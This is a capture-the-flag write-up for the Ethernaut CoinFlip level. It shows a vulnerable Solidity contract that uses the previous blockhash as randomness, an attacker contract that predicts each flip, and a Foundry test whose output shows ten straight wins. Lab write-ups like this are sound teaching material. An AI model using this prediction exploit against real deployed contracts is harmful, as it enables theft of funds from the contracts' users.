CoinFlip
🚩
This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row .
CoinFlip contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
The problem is
.Anyone can see the blockhash of a previous block. It's public information, not secret or random.
.So a hacker (like you in the challenge!) can:
.Look at the block hash.
.Do the same math as the contract.
.Know in advance what the result will be.
.Call the contract with the correct guess every time.
Attacker contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipAttacker {
ICoinFlip public target;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _targetAddress) {
target = ICoinFlip(_targetAddress);
}
function attack() public {
// Get the block hash of the previous block
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool guess = coinFlip == 1 ? true : false;
// Call the flip function with the correct guess
target.flip(guess);
}
}
Testing
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/Main.sol";
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
function consecutiveWins() external view returns (uint256);
}
contract AttackCoinFlip {
ICoinFlip public target;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _target) {
target = ICoinFlip(_target);
}
function attack() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool guess = coinFlip == 1;
target.flip(guess);
}
}
contract AttackFallback is Test {
CoinFlip public target;
AttackCoinFlip public attackerContract;
address public attacker;
function setUp() public {
attacker = address(this);
// Deploy the target CoinFlip contract
target = new CoinFlip();
// Deploy the attacker contract
attackerContract = new AttackCoinFlip(address(target));
console.log("Setup complete. Attacker contract deployed at:", address(attackerContract));
}
function testCoinFlipAttack() public {
for (uint256 i = 0; i < 10; i++) {
// Wait for a new block (simulate)
vm.roll(block.number + 1); // Forge trick to change block number
attackerContract.attack();
uint256 wins = target.consecutiveWins();
console.log("Guess", i + 1, "- Consecutive Wins:", wins);
assertEq(wins, i + 1, "Winning streak failed");
}
console.log("Completed 10 correct guesses!");
}
}
Result
root@lenova:~/test/challenge# forge test --match-test testCoinFlipAttack -vv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠊] Compiling...
[⠔] Compiling 2 files with Solc 0.8.26
[⠒] Solc 0.8.26 finished in 444.97ms
Compiler run successful!
Ran 1 test for test/Counter.t.sol:AttackFallback
[PASS] testCoinFlipAttack() (gas: 148545)
Logs:
Setup complete. Attacker contract deployed at: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
Guess 1 - Consecutive Wins: 1
Guess 2 - Consecutive Wins: 2
Guess 3 - Consecutive Wins: 3
Guess 4 - Consecutive Wins: 4
Guess 5 - Consecutive Wins: 5
Guess 6 - Consecutive Wins: 6
Guess 7 - Consecutive Wins: 7
Guess 8 - Consecutive Wins: 8
Guess 9 - Consecutive Wins: 9
Guess 10 - Consecutive Wins: 10
Completed 10 correct guesses!
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.19ms (3.64ms CPU time)
Ran 1 test suite in 122.06ms (14.19ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
root@lenova:~/test/challenge#